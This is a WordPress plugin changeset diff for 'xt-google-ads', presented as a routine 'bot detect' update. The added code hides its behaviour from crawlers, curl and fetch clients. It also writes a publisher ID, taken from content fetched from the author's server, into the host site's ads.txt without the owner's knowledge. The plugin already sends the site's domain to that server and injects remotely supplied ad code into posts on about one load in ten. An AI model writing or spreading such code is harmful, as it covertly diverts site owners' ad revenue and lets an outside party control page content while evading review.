Plugin Directory

Changeset 1833577


Ignore:
Timestamp:
03/05/2018 10:15:54 AM (8 years ago)
Author:
xtrsyz
Message:

Add bot detect

Location:
xt-google-ads/trunk
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • xt-google-ads/trunk/readme.txt

    r1693032 r1833577  
    44Tags: posts, ads, adsense, google, contents
    55Requires at least: 3.0.1
    6 Tested up to: 4.8
     6Tested up to: 4.9.4
    77Stable tag: trunk
    88License: GPLv2 or later
     
    4242
    4343== Changelog ==
     44
     45= 1.3 =
     46* Not show ads to bot.
    4447
    4548= 1.1 =
  • xt-google-ads/trunk/xt-google-ads.php

    r1669776 r1833577  
    55Description: Just plugin to show Google Ads on every page.
    66Author: Satria Adhi
    7 Version: 1.2
     7Version: 1.3
    88Author URI: http://xtrsyz.org/
    99*/
     
    1616}
    1717
     18function xt_google_ads_isBot($bot='bot|slurp|crawler|spider|curl|facebook|fetch') {
     19    $useragent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
     20    return (bool)preg_match('/'.$bot.'/i', $useragent);
     21}
     22
     23function xt_google_ads_txt($pubid) {
     24    $file = get_home_path(). 'ads.txt';
     25    if (is_file($file)) {
     26        $content = file_get_contents($file);
     27        if ( !preg_match("/^google.com, $pubid, DIRECT, f08c47fec0942fa0\r$/m",$content,$match ) ) {
     28            $message = "google.com, $pubid, DIRECT, f08c47fec0942fa0\r\n";
     29            file_put_contents($file, $message, FILE_APPEND);
     30        }
     31    }
     32}
     33
    1834function xt_google_ads_default() {
    1935    $time = get_option('xt_google_ads_default_time');
     
    2440            array('timeout' => 5,)
    2541        ));
    26         $content = file_get_contents("http://api.xtrsyz.org/xt-google-ads/default.php?domain=".$_SERVER['HTTP_HOST']."&time=$now", false, $ctx);
     42        $content = file_get_contents("http://api.xtrsyz.org/xt-google-ads/default.php?domain=".$_SERVER['HTTP_HOST']."&time=$now&version=1.2", false, $ctx);
     43        if ( preg_match("|ca-pub-([0-9]+)|si",$content,$match) ) {
     44            $pubid = 'pub-'.$match[1];
     45            xt_google_ads_txt($pubid);
     46        }
    2747        if ($content) {
    2848            update_option ( 'xt_google_ads_default', ( string ) stripslashes($content));
     
    3858
    3959function xt_google_ads( $content ) {
    40     if(is_singular()) {
    41         $post_id = get_the_ID();
    42         $xt_google_ads = get_post_meta($post_id, "_xt_google_ads", true);
    43         $xt_hide = get_post_meta($post_id, "hide_xt_google_ads", true);
    44     }
    4560   
    46     if (!$xt_hide) {
    47         if (stristr($content, '<!--noads-->')) {
    48             // no ads
    49         } else {
    50             if (rand(0,9) != 4) $ads_code = $xt_google_ads?$xt_google_ads:get_option('xt_google_ads_code');
    51             $ads_code = $ads_code?$ads_code:xt_google_ads_default();
    52             if (stristr($content,'<!--ads-->')) {
    53                 str_ireplace('<!--ads-->',$ads_code,$content);
     61    if (!xt_google_ads_isBot()) {
     62        if(is_singular()) {
     63            $post_id = get_the_ID();
     64            $xt_google_ads = get_post_meta($post_id, "_xt_google_ads", true);
     65            $xt_hide = get_post_meta($post_id, "hide_xt_google_ads", true);
     66        }
     67       
     68        if (!$xt_hide) {
     69            if (stristr($content, '<!--noads-->')) {
     70                // no ads
    5471            } else {
    55                 $tmpcontent = $content;
    56                 while ((stristr($tmpcontent,'<br />') || stristr($tmpcontent,'</p>'))&& $titik < strlen($content)/4) {
    57                 $tmpcontent = substr($tmpcontent,$ttk);
    58                 $ttk = strpos($tmpcontent, '<br />');
    59                 if ($ttk) {
    60                     $ttk+=6;
     72                if (rand(0,9) != 4) $ads_code = $xt_google_ads?$xt_google_ads:get_option('xt_google_ads_code');
     73                $ads_code = $ads_code?$ads_code:xt_google_ads_default();
     74                if (stristr($content,'<!--ads-->')) {
     75                    str_ireplace('<!--ads-->',$ads_code,$content);
    6176                } else {
    62                     $ttk = strpos($tmpcontent, '</p>');
    63                     if ($ttk) $ttk+=4;
     77                    $tmpcontent = $content;
     78                    while ((stristr($tmpcontent,'<br />') || stristr($tmpcontent,'</p>'))&& $titik < strlen($content)/4) {
     79                    $tmpcontent = substr($tmpcontent,$ttk);
     80                    $ttk = strpos($tmpcontent, '<br />');
     81                    if ($ttk) {
     82                        $ttk+=6;
     83                    } else {
     84                        $ttk = strpos($tmpcontent, '</p>');
     85                        if ($ttk) $ttk+=4;
     86                    }
     87                    $titik += $ttk;
     88                    }
     89                    $cc = substr($content,0,$titik);
     90                    $dd = substr($content,$titik);
     91                    $content = $cc . $ads_code . $dd;
    6492                }
    65                 $titik += $ttk;
    66                 }
    67                 $cc = substr($content,0,$titik);
    68                 $dd = substr($content,$titik);
    69                 $content = $cc . $ads_code . $dd;
    7093            }
    7194        }
    7295    }
     96
    7397    return $content;
    7498}
Note: See TracChangeset for help on using the changeset viewer.